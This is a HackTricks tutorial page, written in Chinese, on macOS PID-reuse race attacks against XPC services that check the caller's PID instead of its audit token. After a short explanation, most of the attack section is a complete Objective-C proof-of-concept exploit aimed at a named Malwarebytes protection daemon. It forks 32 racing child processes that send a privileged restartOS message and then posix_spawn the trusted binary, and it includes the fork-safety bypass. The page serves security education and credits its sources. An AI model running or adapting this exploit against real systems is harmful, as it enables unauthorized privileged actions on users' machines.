hacktricks/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md

# macOS PID 重用

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## PID 重用

当 macOS 的 **XPC 服务**基于 **PID** 而不是 **审计令牌**来检查被调用的进程时，它就容易受到 PID 重用攻击。这种攻击基于一种 **竞争条件**，其中一个 **利用**将会 **滥用** 功能并在此之后执行 **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** 的 **漏洞**，向 XPC 服务发送消息。

这个函数将使得 **允许的二进制文件拥有 PID**，但是 **恶意的 XPC 消息将在此之前被发送**。因此，如果 **XPC** 服务在执行 **`posix_spawn`** 之后使用 **PID** 来 **验证**发送者并在检查之后，它将认为它来自一个 **授权的** 进程。

### 攻击示例

如果你找到了函数 **`shouldAcceptNewConnection`** 或者被它调用的函数 **调用了** **`processIdentifier`** 而没有调用 **`auditToken`**。那么很有可能它正在验证进程的 PID 而不是审计令牌。\
就像这个例子中所示（来自参考资料）：

<figure><img src="../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>

检查这个攻击示例（同样来自参考资料），以查看攻击的两个部分：

* 一个**生成多个子进程**的部分
* **每个子进程**在发送消息后立即执行 **`posix_spawn`**，将负载发送到 XPC 服务。

{% hint style="danger" %}
为了使攻击生效，重要的是导出 export OBJC\_DISABLE\_INITIALIZE\_FORK\_SAFETY=YES 或将其放入攻击中：
```objectivec
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");
```
{% endhint %}
```objectivec
// from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/

#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>

#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"

// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

extern char **environ;

// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end

void child() {

// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;

[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];

char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

bool create_nstasks() {

NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];

for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}

int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};

nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}

return true;
}

int main(int argc, const char * argv[]) {

if(argc > 1) {
// called from the NSTasks
child();

} else {
NSLog(@"Starting the race");
create_nstasks();
}

return 0;
}obj
```
## 参考资料

* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
* [https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf](https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf)

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